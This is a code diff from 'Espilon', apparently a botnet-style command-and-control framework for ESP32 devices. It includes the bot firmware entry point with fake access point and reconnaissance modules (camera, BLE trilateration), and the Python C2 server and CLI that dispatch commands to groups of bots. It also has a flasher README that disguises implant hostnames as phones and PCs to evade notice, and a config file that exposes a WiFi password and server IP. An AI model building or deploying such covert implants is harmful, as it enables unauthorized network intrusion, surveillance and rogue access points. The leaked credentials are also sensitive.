|
||||
|
||||
#include "utils.h"
|
||||
#include "command.h"
|
||||
#include "cmd_system.h"
|
||||
|
||||
static const char *TAG = "MAIN";
|
||||
|
||||
static void init_nvs(void)
|
||||
{
|
||||
esp_err_t ret = nvs_flash_init();
|
||||
if (ret == ESP_ERR_NVS_NO_FREE_PAGES ||
|
||||
ret == ESP_ERR_NVS_NEW_VERSION_FOUND) {
|
||||
|
||||
ESP_ERROR_CHECK(nvs_flash_erase());
|
||||
ESP_ERROR_CHECK(nvs_flash_init());
|
||||
}
|
||||
}
|
||||
|
||||
void app_main(void)
|
||||
{
|
||||
ESP_LOGI(TAG, "Booting system");
|
||||
|
||||
init_nvs();
|
||||
vTaskDelay(pdMS_TO_TICKS(1200));
|
||||
|
||||
/* =====================================================
|
||||
* Command system
|
||||
* ===================================================== */
|
||||
|
||||
command_async_init(); // Async worker (Core 1)
|
||||
mod_system_register_commands();
|
||||
|
||||
#ifdef CONFIG_MODULE_NETWORK
|
||||
#include "cmd_network.h"
|
||||
mod_network_register_commands();
|
||||
|
||||
#elif defined(CONFIG_MODULE_FAKEAP)
|
||||
#include "cmd_fakeAP.h"
|
||||
mod_fakeap_register_commands();
|
||||
|
||||
#elif defined(CONFIG_MODULE_RECON)
|
||||
#include "cmd_recon.h"
|
||||
#ifdef CONFIG_RECON_MODE_CAMERA
|
||||
mod_camera_register_commands();
|
||||
#elif defined(CONFIG_RECON_MODE_BLE_TRILAT)
|
||||
mod_ble_trilat_register_commands();
|
||||
#endif
|
||||
#endif
|
||||
|
||||
/* =====================================================
|
||||
* Network backend
|
||||
* ===================================================== */
|
||||
if (!com_init()) {
|
||||
ESP_LOGE(TAG, "Network backend init failed");
|
||||
return;
|
||||
}
|
||||
|
||||
ESP_LOGI(TAG, "System ready");
|
||||
}
|
||||
16
espilon_bot/sdkconfig.defaults
Normal file
16
espilon_bot/sdkconfig.defaults
Normal file
@ -0,0 +1,16 @@
|
||||
CONFIG_ID="f34592e0"
|
||||
CONFIG_WIFI_SSID="Livebox-CC80"
|
||||
CONFIG_WIFI_PASS="PqKXRmcprmeWChcfQD"
|
||||
CONFIG_SERVER_IP="192.168.1.13"
|
||||
CONFIG_SERVER_PORT=2626
|
||||
CONFIG_MBEDTLS_CHACHA20_C=y
|
||||
CONFIG_LWIP_IPV4_NAPT=y
|
||||
CONFIG_LWIP_IPV4_NAPT_PORTMAP=y
|
||||
CONFIG_LWIP_IP_FORWARD=y
|
||||
CONFIG_LWIP_LOCAL_HOSTNAME="pixel-8-pro"
|
||||
CONFIG_ENABLE_CAMERA=n
|
||||
|
||||
# Bluetooth configuration
|
||||
CONFIG_BT_ENABLED=y
|
||||
CONFIG_BT_BLUEDROID_ENABLED=y
|
||||
CONFIG_BT_BLE_ENABLED=y
|
||||
174
tools/README.md
Normal file
174
tools/README.md
Normal file
@ -0,0 +1,174 @@
|
||||
# Epsilon Tools
|
||||
|
||||
This directory contains tools for managing and deploying Epsilon ESP32 agents.
|
||||
|
||||
## C2 Server (c2/)
|
||||
|
||||
The C2 (Command & Control) server manages communication with deployed ESP32 agents.
|
||||
|
||||
### C3PO - Main C2 Server
|
||||
|
||||
**c3po** is the primary C2 server used to control Epsilon bots.
|
||||
|
||||
Features:
|
||||
|
||||
- Asynchronous Python server (asyncio)
|
||||
- Device registry and management
|
||||
- Group-based device organization
|
||||
- Encrypted communications (ChaCha20)
|
||||
- Interactive CLI interface
|
||||
- Command dispatching to individual devices, groups, or all
|
||||
|
||||
See [c2/README.md](c2/README.md) for complete C2 documentation.
|
||||
|
||||
Quick start:
|
||||
|
||||
```bash
|
||||
cd c2
|
||||
python3 c3po.py --port 2626
|
||||
```
|
||||
|
||||
Authors: **@off-path**, **@eun0us**
|
||||
|
||||
## Multi-Device Flasher (flasher/)
|
||||
|
||||
The **flasher** tool automates building and flashing multiple ESP32 devices with custom configurations.
|
||||
|
||||
### Features
|
||||
|
||||
- Batch processing of multiple devices
|
||||
- Support for WiFi and GPRS modes
|
||||
- Per-device configuration (ID, network, modules)
|
||||
- Automatic hostname randomization
|
||||
- Build-only and flash-only modes
|
||||
- Full module configuration (Network, Recon, FakeAP)
|
||||
|
||||
### Quick Start
|
||||
|
||||
1. Edit [flasher/devices.json](flasher/devices.json):
|
||||
|
||||
```json
|
||||
{
|
||||
"project": "/home/user/epsilon/espilon_bot",
|
||||
"devices": [
|
||||
{
|
||||
"device_id": "ce4f626b",
|
||||
"port": "/dev/ttyUSB0",
|
||||
"srv_ip": "192.168.1.13",
|
||||
"srv_port": 2626,
|
||||
"network_mode": "wifi",
|
||||
"wifi_ssid": "YourWiFi",
|
||||
"wifi_pass": "YourPassword",
|
||||
"module_network": true,
|
||||
"module_recon": false,
|
||||
"module_fakeap": false
|
||||
}
|
||||
]
|
||||
}
|
||||
```
|
||||
|
||||
2. Flash all devices:
|
||||
|
||||
```bash
|
||||
cd flasher
|
||||
python3 flash.py --config devices.json
|
||||
```
|
||||
|
||||
### Configuration Options
|
||||
|
||||
Each device supports:
|
||||
|
||||
| Field | Description |
|
||||
|-------|-------------|
|
||||
| `device_id` | Unique device identifier (8 hex chars) |
|
||||
| `port` | Serial port (e.g., `/dev/ttyUSB0`) |
|
||||
| `srv_ip` | C2 server IP address |
|
||||
| `srv_port` | C2 server port (default: 2626) |
|
||||
| `network_mode` | `"wifi"` or `"gprs"` |
|
||||
| `wifi_ssid` | WiFi SSID (WiFi mode) |
|
||||
| `wifi_pass` | WiFi password (WiFi mode) |
|
||||
| `gprs_apn` | GPRS APN (GPRS mode, default: "sl2sfr") |
|
||||
| `hostname` | Network hostname (random if not set) |
|
||||
| `module_network` | Enable network commands (default: true) |
|
||||
| `module_recon` | Enable reconnaissance module |
|
||||
| `module_fakeap` | Enable fake AP module |
|
||||
| `recon_camera` | Enable camera reconnaissance (ESP32-CAM) |
|
||||
| `recon_ble_trilat` | Enable BLE trilateration |
|
||||
| `crypto_key` | ChaCha20 encryption key (32 chars) |
|
||||
| `crypto_nonce` | ChaCha20 nonce (12 chars) |
|
||||
|
||||
### Hostname Randomization
|
||||
|
||||
The flasher automatically randomizes device hostnames to blend in on networks:
|
||||
|
||||
- iPhone models (iPhone-15-pro-max, iPhone-14, etc.)
|
||||
- Android devices (galaxy-s24-ultra, pixel-8-pro, xiaomi-14, etc.)
|
||||
- Windows PCs (DESKTOP-XXXXXXX)
|
||||
|
||||
This helps devices appear as legitimate consumer electronics during authorized security testing.
|
||||
|
||||
### Manual Mode
|
||||
|
||||
Flash a single device without a config file:
|
||||
|
||||
```bash
|
||||
# WiFi mode
|
||||
python3 flash.py --manual \
|
||||
--project /home/user/epsilon/espilon_bot \
|
||||
--device-id abc12345 \
|
||||
--port /dev/ttyUSB0 \
|
||||
--srv-ip 192.168.1.100 \
|
||||
--wifi-ssid MyWiFi \
|
||||
--wifi-pass MyPassword
|
||||
|
||||
# GPRS mode
|
||||
python3 flash.py --manual \
|
||||
--project /home/user/epsilon/espilon_bot \
|
||||
--device-id def67890 \
|
||||
--port /dev/ttyUSB1 \
|
||||
--srv-ip 203.0.113.10 \
|
||||
--network-mode gprs \
|
||||
--gprs-apn sl2sfr
|
||||
```
|
||||
|
||||
### Build-Only Mode
|
||||
|
||||
Generate firmware without flashing:
|
||||
|
||||
```bash
|
||||
python3 flash.py --config devices.json --build-only
|
||||
```
|
||||
|
||||
Firmware saved to: `espilon_bot/firmware/<device_id>.bin`
|
||||
|
||||
### Flash-Only Mode
|
||||
|
||||
Flash pre-built firmware:
|
||||
|
||||
```bash
|
||||
python3 flash.py --config devices.json --flash-only
|
||||
```
|
||||
|
||||
See [flasher/README.md](flasher/README.md) for complete documentation.
|
||||
|
||||
## NanoPB Tools (nan/)
|
||||
|
||||
Tools for Protocol Buffers (nanoPB) code generation for the embedded communication protocol.
|
||||
|
||||
Used during development to regenerate Protocol Buffer bindings for ESP32 and Python.
|
||||
|
||||
## Additional Resources
|
||||
|
||||
- [Installation Guide](../docs/INSTALL.md) - Full Epsilon setup
|
||||
- [Hardware Guide](../docs/HARDWARE.md) - Supported boards
|
||||
- [Module API](../docs/MODULES.md) - Available commands
|
||||
- [Protocol Specification](../docs/PROTOCOL.md) - C2 protocol details
|
||||
- [Security](../docs/SECURITY.md) - Security best practices
|
||||
|
||||
## Contributing
|
||||
|
||||
See [CONTRIBUTING.md](../CONTRIBUTING.md) for guidelines on contributing to Epsilon tools.
|
||||
|
||||
## License
|
||||
|
||||
Part of the Epsilon project. See [LICENSE](../LICENSE) for details.
|
||||
320
tools/c2/README.md
Normal file
320
tools/c2/README.md
Normal file
@ -0,0 +1,320 @@
|
||||
# C2 Server Documentation
|
||||
|
||||
## TODO
|
||||
|
||||
**TODO:**
|
||||
|
||||
```md
|
||||
|
||||
- Implementer la coexistence entre multiflasher fichier (valid-id.txt - separator "\n" - C2 will only authorize device who are register in 'valid-id.txt' or add c2 command style 'authorizeId <id>' and he will be add into id list & valid-id.txt file)
|
||||
|
||||
|
||||
```
|
||||
|
||||
## Overview
|
||||
|
||||
This C2 server is a Python-based control plane designed to manage a fleet of ESP devices (agents).
|
||||
|
||||
It provides a clean and extensible command-line interface to:
|
||||
|
||||
- Manage connected devices by unique ID
|
||||
- Send commands to individual devices, groups, or all devices
|
||||
- Organize devices into logical groups
|
||||
- Display connection duration to the C2
|
||||
- Support structured commands and raw developer commands
|
||||
- Serve as a solid base for future plugins and services
|
||||
|
||||
The project intentionally favors simplicity, readability, and extensibility.
|
||||
|
||||
---
|
||||
|
||||
## Architecture Overview
|
||||
|
||||
```md
|
||||
|
||||
c2/
|
||||
├── main.py # Entry point
|
||||
├── core/
|
||||
│ ├── device.py # Device model
|
||||
│ ├── registry.py # Connected device registry
|
||||
│ ├── crypto.py # Encryption wrapper
|
||||
│ ├── transport.py # Message handling
|
||||
│ └── groups.py # Group registry
|
||||
├── commands/
|
||||
│ ├── base.py # Command base class
|
||||
│ ├── registry.py # Command registry
|
||||
│ └── *.py # ESP command implementations
|
||||
├── cli/
|
||||
│ ├── cli.py # Interactive CLI
|
||||
│ └── help.py # Help system
|
||||
├── logs/
|
||||
│ └── manager.py # ESP log handling
|
||||
├── proto/
|
||||
│ ├── command.proto # Protocol definition
|
||||
│ └── command_pb2.py # Generated protobuf code
|
||||
└── utils/
|
||||
│ └── constant.py # Default script constant
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## Core Concepts
|
||||
|
||||
### Device Identity
|
||||
|
||||
- Each ESP device is identified by a unique `esp_id`
|
||||
- Devices are not identified by IP or port
|
||||
- Reconnecting devices automatically replace their previous session
|
||||
|
||||
### Authentication Model
|
||||
|
||||
- Authentication is implicit
|
||||
- If the server can successfully decrypt and parse a message, the device is considered valid
|
||||
- No explicit handshake is required
|
||||
- Fully compatible with existing firmware
|
||||
|
||||
---
|
||||
|
||||
## Running the Server
|
||||
|
||||
```bash
|
||||
python main.py
|
||||
```
|
||||
|
||||
## CLI Usage
|
||||
|
||||
### List Connected Devices
|
||||
|
||||
```md
|
||||
list
|
||||
*Example d'output:*
|
||||
|
||||
ID IP CONNECTED
|
||||
----------------------------------------
|
||||
ce4f626b 192.168.1.42 2m 14s
|
||||
a91dd021 192.168.1.43 18s
|
||||
```
|
||||
|
||||
The `CONNECTED` column shows how long the device has been connected to the c2
|
||||
|
||||
### Help Commands
|
||||
|
||||
```text
|
||||
help [commands]
|
||||
*example:* help
|
||||
output:
|
||||
|
||||
=== C2 HELP ===
|
||||
|
||||
CLI Commands:
|
||||
help [cmd] Show this help
|
||||
list List connected ESP devices
|
||||
send <target> <command> Send a command to ESP(s)
|
||||
group <action> Manage ESP groups
|
||||
clear Clear the screen
|
||||
exit Exit the C2
|
||||
|
||||
ESP Commands:
|
||||
|
||||
reboot Reboot ESP
|
||||
|
||||
DEV MODE ENABLED:
|
||||
You can send arbitrary text commands:
|
||||
send <id> <any text>
|
||||
send group <name> <any text>
|
||||
send all <any text>
|
||||
|
||||
```
|
||||
|
||||
#### Help System
|
||||
|
||||
```md
|
||||
General Help
|
||||
help
|
||||
|
||||
Help for a Specific ESP Command
|
||||
help reboot
|
||||
|
||||
Help for the send Command
|
||||
help send
|
||||
|
||||
|
||||
The help output is dynamically generated from the registered commands.
|
||||
```
|
||||
|
||||
### Sending Commands
|
||||
|
||||
```md
|
||||
send <esp_id> <command>
|
||||
*example:* send ce4f626b reboot # The device named "ce4f626b" will reboot
|
||||
```
|
||||
|
||||
### Send to All Devices
|
||||
|
||||
```md
|
||||
send all [command]
|
||||
*example:* send all reboot
|
||||
```
|
||||
|
||||
### Send to a Group
|
||||
|
||||
```md
|
||||
send group bots
|
||||
*example:* send group bots reboot
|
||||
```
|
||||
|
||||
### Developer Mode (RAW Commands)
|
||||
|
||||
When `DEV_MODE = True`, arbitrary text commands can be sent:
|
||||
|
||||
```md
|
||||
send <id> [test 12 34]
|
||||
*example:* send ce4f626b custom start stream
|
||||
output **ce4f626b:** "start stream"
|
||||
```
|
||||
|
||||
The commands are sent as-is inside the `Command.command` field.
|
||||
|
||||
## Groups
|
||||
|
||||
### Add Devices to a Group
|
||||
|
||||
```md
|
||||
group add "group_name" <id/s>
|
||||
*example:* group add bots ce4f626b a91dd021
|
||||
|
||||
### List Groups
|
||||
```md
|
||||
group list
|
||||
*Example output:*
|
||||
bots: ce4f626b, a91dd021
|
||||
trilat: e2, e3, e1
|
||||
```
|
||||
|
||||
### Show Group Members
|
||||
|
||||
```md
|
||||
group show [group]
|
||||
*example:* group show bots
|
||||
output:
|
||||
bots: ce4f626b, a91dd021
|
||||
```
|
||||
|
||||
### Remove a Device from a Group
|
||||
|
||||
```md
|
||||
group remove bots ce4f626b
|
||||
```
|
||||
|
||||
Command System
|
||||
Adding a New ESP Command
|
||||
|
||||
Create a new file in commands/, for example status.py
|
||||
|
||||
Implement the command handler:
|
||||
|
||||
from commands.base import CommandHandler
|
||||
from proto.command_pb2 import Command
|
||||
|
||||
class StatusCommand(CommandHandler):
|
||||
name = "status"
|
||||
description = "Get device status"
|
||||
|
||||
def build(self, args):
|
||||
cmd = Command()
|
||||
cmd.command = "status"
|
||||
return cmd.SerializeToString()
|
||||
|
||||
|
||||
Register the command in main.py:
|
||||
|
||||
commands.register(StatusCommand())
|
||||
|
||||
|
||||
The command will automatically appear in:
|
||||
|
||||
CLI tab completion
|
||||
|
||||
help
|
||||
|
||||
send <id> <command>
|
||||
|
||||
## Protocol Definition
|
||||
|
||||
// explain nano pb
|
||||
|
||||
### Command
|
||||
|
||||
```h
|
||||
message Command {
|
||||
string command = 1;
|
||||
}
|
||||
```
|
||||
|
||||
### Response
|
||||
|
||||
```h
|
||||
message Response {
|
||||
string tag = 1;
|
||||
string id = 2;
|
||||
string message = 3;
|
||||
bytes response_data = 4;
|
||||
}
|
||||
```
|
||||
|
||||
### Log
|
||||
|
||||
```h
|
||||
message Log {
|
||||
string tag = 1;
|
||||
string id = 2;
|
||||
string log_message = 3;
|
||||
uint32 log_error_code = 4;
|
||||
}
|
||||
```
|
||||
|
||||
## Communication
|
||||
|
||||
The communication between c2 and bots are end-to-end encrypted.</br>
|
||||
Method:
|
||||
|
||||
```md
|
||||
- ChaCha20 symmetric encryption
|
||||
- Base64 transport encoding
|
||||
- Encryption logic centralized in core/crypto.py
|
||||
- Fully compatible with current ESP firmware
|
||||
```
|
||||
|
||||
## Design Limitations (Intentional)
|
||||
|
||||
```md
|
||||
- No persistent storage (groups reset on restart)
|
||||
- No request/response correlation (request-id)
|
||||
- No permissions or role management
|
||||
- No dynamic plugin loading
|
||||
```
|
||||
|
||||
These are deferred intentionally to keep the core system minimal and clean.
|
||||
|
||||
## Suggested Future Extensions
|
||||
|
||||
Todo and additional features:
|
||||
|
||||
```md
|
||||
- Plugin system (camera, proxy, trilateration/multilateration / etc.. )
|
||||
- Persistent user & group storage (JSON) (Multi-Flasher -> devices.json -> id-list.csv [Allow ID on c2])
|
||||
- Idle time display (last-seen)
|
||||
- Request/response correlation with request-id
|
||||
- Protocol versioning
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
### Authors
|
||||
|
||||
```md
|
||||
- @off-path
|
||||
- @Eun0us
|
||||
```
|
||||
|
||||
---
|
||||
194
tools/c2/c3po.py
Normal file
194
tools/c2/c3po.py
Normal file
@ -0,0 +1,194 @@
|
||||
#!/usr/bin/env python3
|
||||
import socket
|
||||
import threading
|
||||
import re
|
||||
import sys
|
||||
import time # Added missing import
|
||||
|
||||
#!/usr/bin/env python3
|
||||
import socket
|
||||
import threading
|
||||
import re
|
||||
import sys
|
||||
|
||||
from core.registry import DeviceRegistry
|
||||
from core.transport import Transport
|
||||
from logs.manager import LogManager
|
||||
from cli.cli import CLI
|
||||
from commands.registry import CommandRegistry
|
||||
from commands.reboot import RebootCommand
|
||||
from core.groups import GroupRegistry
|
||||
from utils.constant import HOST, PORT
|
||||
from utils.display import Display # Import Display utility
|
||||
|
||||
# Strict base64 validation (ESP sends BASE64 + '\n')
|
||||
BASE64_RE = re.compile(br'^[A-Za-z0-9+/=]+$')
|
||||
|
||||
RX_BUF_SIZE = 4096
|
||||
DEVICE_TIMEOUT_SECONDS = 60 # Devices are considered inactive after 60 seconds without a heartbeat
|
||||
HEARTBEAT_CHECK_INTERVAL = 10 # Check every 10 seconds
|
||||
|
||||
|
||||
# ============================================================
|
||||
# Client handler
|
||||
# ============================================================
|
||||
def client_thread(sock: socket.socket, addr, transport: Transport, registry: DeviceRegistry):
|
||||
Display.system_message(f"Client connected from {addr}")
|
||||
buffer = b""
|
||||
device_id = None # To track which device disconnected
|
||||
|
||||
try:
|
||||
while True:
|
||||
data = sock.recv(RX_BUF_SIZE)
|
||||
if not data:
|
||||
break
|
||||
|
||||
buffer += data
|
||||
|
||||
# Strict framing by '\n' (ESP behavior)
|
||||
while b"\n" in buffer:
|
||||
line, buffer = buffer.split(b"\n", 1)
|
||||
line = line.strip()
|
||||
|
||||
if not line:
|
||||
continue
|
||||
|
||||
# Ignore noise / invalid frames
|
||||
if not BASE64_RE.match(line):
|
||||
Display.system_message(f"Ignoring non-base64 data from {addr}")
|
||||
continue
|
||||
|
||||
try:
|
||||
# Pass registry to handle_incoming to update device status
|
||||
transport.handle_incoming(sock, addr, line)
|
||||
# After successful handling, try to get device_id
|
||||
# This is a simplification; a more robust solution might pass device_id from transport
|
||||
# For now, we assume the first message will register the device
|
||||
if not device_id and registry.get_device_by_sock(sock):
|
||||
device_id = registry.get_device_by_sock(sock).id
|
||||
except Exception as e:
|
||||
Display.error(f"Transport error from {addr}: {e}")
|
||||
|
||||
except Exception as e:
|
||||
Display.error(f"Client error from {addr}: {e}")
|
||||
|
||||
finally:
|
||||
try:
|
||||
sock.close()
|
||||
except Exception:
|
||||
pass
|
||||
if device_id:
|
||||
Display.device_event(device_id, "Disconnected")
|
||||
registry.remove(device_id) # Remove device from registry on disconnect
|
||||
else:
|
||||
Display.system_message(f"Client disconnected from {addr}")
|
||||
|
||||
|
||||
# ============================================================
|
||||
# Main server
|
||||
# ============================================================
|
||||
def main():
|
||||
header = """
|
||||
|
||||
$$$$$$$\ $$$$$$\ $$\ $$\ $$$$$$\ $$$$$$$$\ $$$$$$\ $$$$$$\ $$$$$$\
|
||||
|
||||
$$$$$$$$\ $$$$$$\ $$$$$$$\ $$$$$$\ $$\ $$$$$$\ $$\ $$\ $$$$$$\ $$$$$$\
|
||||
$$ _____|$$ __$$\ $$ __$$\\_$$ _|$$ | $$ __$$\ $$$\ $$ | $$ __$$\ $$ __$$\
|
||||
$$ | $$ / \__|$$ | $$ | $$ | $$ | $$ / $$ |$$$$\ $$ | $$ / \__|\__/ $$ |
|
||||
$$$$$\ \$$$$$$\ $$$$$$$ | $$ | $$ | $$ | $$ |$$ $$\$$ | $$ | $$$$$$ |
|
||||
$$ __| \____$$\ $$ ____/ $$ | $$ | $$ | $$ |$$ \$$$$ | $$ | $$ ____/
|
||||
$$ | $$\ $$ |$$ | $$ | $$ | $$ | $$ |$$ |\$$$ | $$ | $$\ $$ |
|
||||
$$$$$$$$\ \$$$$$$ |$$ | $$$$$$\ $$$$$$$$\ $$$$$$ |$$ | \$$ | \$$$$$$ |$$$$$$$$\
|
||||
\________| \______/ \__| \______|\________|\______/ \__| \__| \______/ \________|
|
||||
|
||||
|
||||
|
||||
$$$$$$\ $$$$$$\ $$$$$$$\ $$$$$$\
|
||||
$$ __$$\ $$ ___$$\ $$ __$$\ $$ __$$\
|
||||
$$ / \__|\_/ $$ |$$ | $$ |$$ / $$ |
|
||||
$$ | $$$$$ / $$$$$$$ |$$ | $$ |
|
||||
$$ | \___$$\ $$ ____/ $$ | $$ |
|
||||
$$ | $$\ $$\ $$ |$$ | $$ | $$ |
|
||||
\$$$$$$ |\$$$$$$ |$$ | $$$$$$ |
|
||||
\______/ \______/ \__| \______/
|
||||
|
||||
ESPILON C2 Framework - Command and Control Server
|
||||
"""
|
||||
Display.system_message(header)
|
||||
Display.system_message("Initializing ESPILON C2 core...")
|
||||
|
||||
# ============================
|
||||
# Core components
|
||||
# ============================
|
||||
registry = DeviceRegistry()
|
||||
logger = LogManager()
|
||||
|
||||
# Initialize CLI first, then pass it to Transport
|
||||
commands = CommandRegistry()
|
||||
commands.register(RebootCommand())
|
||||
groups = GroupRegistry()
|
||||
|
||||
# Placeholder for CLI, will be properly initialized after Transport
|
||||
cli_instance = None
|
||||
transport = Transport(registry, logger, cli_instance) # Pass a placeholder for now
|
||||
|
||||
cli_instance = CLI(registry, commands, groups, transport)
|
||||
transport.set_cli(cli_instance) # Set the actual CLI instance in transport
|
||||
|
||||
cli = cli_instance # Assign the initialized CLI to 'cli'
|
||||
|
||||
# ============================
|
||||
# TCP server
|
||||
# ============================
|
||||
server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
|
||||
server.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
|
||||
|
||||
try:
|
||||
server.bind((HOST, PORT))
|
||||
except OSError as e:
|
||||
Display.error(f"Failed to bind server to {HOST}:{PORT}: {e}")
|
||||
sys.exit(1)
|
||||
|
||||
server.listen()
|
||||
Display.system_message(f"Server listening on {HOST}:{PORT}")
|
||||
|
||||
# Function to periodically check device status
|
||||
def device_status_checker():
|
||||
while True:
|
||||
now = time.time()
|
||||
for device in registry.all():
|
||||
if now - device.last_seen > DEVICE_TIMEOUT_SECONDS:
|
||||
if device.status != "Inactive":
|
||||
device.status = "Inactive"
|
||||
Display.device_event(device.id, "Status changed to Inactive (timeout)")
|
||||
elif device.status == "Inactive" and now - device.last_seen <= DEVICE_TIMEOUT_SECONDS:
|
||||
# If a device that was inactive sends a heartbeat, set it back to Connected
|
||||
device.status = "Connected"
|
||||
Display.device_event(device.id, "Status changed to Connected (heartbeat received)")
|
||||
time.sleep(HEARTBEAT_CHECK_INTERVAL)
|
||||
|
||||
# CLI thread
|
||||
threading.Thread(target=cli.loop, daemon=True).start()
|
||||
# Device status checker thread
|
||||
threading.Thread(target=device_status_checker, daemon=True).start()
|
||||
|
||||
# Accept loop
|
||||
while True:
|
||||
try:
|
||||
sock, addr = server.accept()
|
||||
threading.Thread(
|
||||
target=client_thread,
|
||||
args=(sock, addr, transport, registry), # Pass registry to client_thread
|
||||
daemon=True
|
||||
).start()
|
||||
except KeyboardInterrupt:
|
||||
Display.system_message("Shutdown requested. Exiting...")
|
||||
break
|
||||
except Exception as e:
|
||||
Display.error(f"Server error: {e}")
|
||||
|
||||
server.close()
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
main()
|
||||
289
tools/c2/cli/cli.py
Normal file
289
tools/c2/cli/cli.py
Normal file
@ -0,0 +1,289 @@
|
||||
import readline
|
||||
import os
|
||||
import time
|
||||
|
||||
from utils.display import Display
|
||||
from cli.help import HelpManager
|
||||
from core.transport import Transport
|
||||
from proto.c2_pb2 import Command
|
||||
|
||||
DEV_MODE = True
|
||||
|
||||
|
||||
class CLI:
|
||||
def __init__(self, registry, commands, groups, transport: Transport):
|
||||
self.registry = registry
|
||||
self.commands = commands
|
||||
self.groups = groups
|
||||
self.transport = transport
|
||||
self.help_manager = HelpManager(commands, DEV_MODE)
|
||||
self.active_commands = {} # {request_id: {"device_id": ..., "command_name": ..., "start_time": ..., "status": "running"}}
|
||||
|
||||
readline.parse_and_bind("tab: complete")
|
||||
readline.set_completer(self._complete)
|
||||
|
||||
# ================= TAB COMPLETION =================
|
||||
|
||||
def _complete(self, text, state):
|
||||
buffer = readline.get_line_buffer()
|
||||
parts = buffer.split()
|
||||
|
||||
options = []
|
||||
|
||||
if len(parts) == 1:
|
||||
options = ["send", "list", "group", "help", "clear", "exit", "active_commands"]
|
||||
|
||||
elif parts[0] == "send":
|
||||
if len(parts) == 2: # Completing target (device ID, 'all', 'group')
|
||||
options = ["all", "group"] + self.registry.ids()
|
||||
elif len(parts) == 3 and parts[1] == "group": # Completing group name after 'send group'
|
||||
options = list(self.groups.all_groups().keys())
|
||||
elif (len(parts) == 3 and parts[1] != "group") or (len(parts) == 4 and parts[1] == "group"): # Completing command name
|
||||
options = self.commands.list()
|
||||
# Add more logic here if commands have arguments that can be tab-completed
|
||||
|
||||
elif parts[0] == "group":
|
||||
if len(parts) == 2: # Completing group action
|
||||
options = ["add", "remove", "list", "show"]
|
||||
elif parts[1] == "add" and len(parts) >= 3: # Completing device IDs for 'group add'
|
||||
# Suggest available device IDs that are not already in the group being added to
|
||||
group_name = parts[2] if len(parts) > 2 else ""
|
||||
current_group_members = self.groups.get(group_name) if group_name else []
|
||||
all_device_ids = set(self.registry.ids())
|
||||
options = sorted(list(all_device_ids - set(current_group_members)))
|
||||
elif parts[1] in ("remove", "show") and len(parts) == 3: # Completing group names for 'group remove/show'
|
||||
options = list(self.groups.all_groups().keys())
|
||||
elif parts[1] == "remove" and len(parts) >= 4: # Completing device IDs for 'group remove'
|
||||
group_name = parts[2]
|
||||
options = self.groups.get(group_name)
|
||||
|
||||
matches = [o for o in options if o.startswith(text)]
|
||||
return matches[state] if state < len(matches) else None
|
||||
|
||||
# ================= MAIN LOOP =================
|
||||
|
||||
def loop(self):
|
||||
while True:
|
||||
cmd = input(Display.cli_prompt()).strip()
|
||||
if not cmd:
|
||||
continue
|
||||
|
||||
parts = cmd.split()
|
||||
action = parts[0]
|
||||
|
||||
if action == "help":
|
||||
self.help_manager.show(parts[1:])
|
||||
continue
|
||||
|
||||
if action == "exit":
|
||||
return
|
||||
|
||||
if action == "clear":
|
||||
os.system("cls" if os.name == "nt" else "clear")
|
||||
continue
|
||||
|
||||
if action == "list":
|
||||
self._handle_list()
|
||||
continue
|
||||
|
||||
if action == "group":
|
||||
self._handle_group(parts[1:])
|
||||
continue
|
||||
|
||||
if action == "send":
|
||||
self._handle_send(parts)
|
||||
continue
|
||||
|
||||
if action == "active_commands":
|
||||
self._handle_active_commands()
|
||||
continue
|
||||
|
||||
Display.error("Unknown command")
|
||||
|
||||
# ================= HANDLERS =================
|
||||
|
||||
def _handle_list(self):
|
||||
now = time.time()
|
||||
active_devices = self.registry.all()
|
||||
|
||||
if not active_devices:
|
||||
Display.system_message("No devices currently connected.")
|
||||
return
|
||||
|
||||
Display.system_message("Connected Devices:")
|
||||
Display.print_table_header(["ID", "IP Address", "Status", "Connected For", "Last Seen"])
|
||||
|
||||
for d in active_devices:
|
||||
connected_for = Display.format_duration(now - d.connected_at)
|
||||
last_seen_duration = Display.format_duration(now - d.last_seen)
|
||||
Display.print_table_row([d.id, d.address[0], d.status, connected_for, last_seen_duration])
|
||||
|
||||
def _handle_send(self, parts):
|
||||
if len(parts) < 3:
|
||||
Display.error("Usage: send <id|all|group> <command> [args...]")
|
||||
return
|
||||
|
||||
target_specifier = parts[1]
|
||||
command_parts = parts[2:]
|
||||
|
||||
devices_to_target = []
|
||||
target_description = ""
|
||||
|
||||
# Resolve devices based on target_specifier
|
||||
if target_specifier == "all":
|
||||
devices_to_target = self.registry.all()
|
||||
target_description = "all connected devices"
|
||||
elif target_specifier == "group":
|
||||
if len(command_parts) < 2:
|
||||
Display.error("Usage: send group <name> <command> [args...]")
|
||||
return
|
||||
group_name = command_parts[0]
|
||||
command_parts = command_parts[1:]
|
||||
group_members_ids = self.groups.get(group_name)
|
||||
if not group_members_ids:
|
||||
Display.error(f"Group '{group_name}' not found or is empty.")
|
||||
return
|
||||
|
||||
active_group_devices = []
|
||||
for esp_id in group_members_ids:
|
||||
dev = self.registry.get(esp_id)
|
||||
if dev:
|
||||
active_group_devices.append(dev)
|
||||
else:
|
||||
Display.device_event(esp_id, f"Device in group '{group_name}' is not currently connected.")
|
||||
|
||||
if not active_group_devices:
|
||||
Display.error(f"No active devices found in group '{group_name}'.")
|
||||
return
|
||||
|
||||
devices_to_target = active_group_devices
|
||||
target_description = f"group '{group_name}' ({', '.join([d.id for d in devices_to_target])})"
|
||||
else:
|
||||
dev = self.registry.get(target_specifier)
|
||||
if dev:
|
||||
devices_to_target.append(dev)
|
||||
target_description = f"device '{target_specifier}'"
|
||||
else:
|
||||
Display.error(f"Device '{target_specifier}' not found.")
|
||||
return
|
||||
|
||||
if not devices_to_target:
|
||||
Display.error("No target devices resolved for sending command.")
|
||||
return
|
||||
|
||||
# Build Command
|
||||
cmd_name = command_parts[0]
|
||||
argv = command_parts[1:]
|
||||
|
||||
request_id_base = f"req-{int(time.time())}"
|
||||
Display.system_message(f"Sending command '{cmd_name}' to {target_description}...")
|
||||
|
||||
for i, d in enumerate(devices_to_target):
|
||||
cmd = Command()
|
||||
cmd.device_id = d.id
|
||||
cmd.command_name = cmd_name
|
||||
cmd.argv.extend(argv)
|
||||
|
||||
request_id = f"{request_id_base}-{i}"
|
||||
cmd.request_id = request_id
|
||||
|
||||
Display.command_sent(d.id, cmd_name, request_id)
|
||||
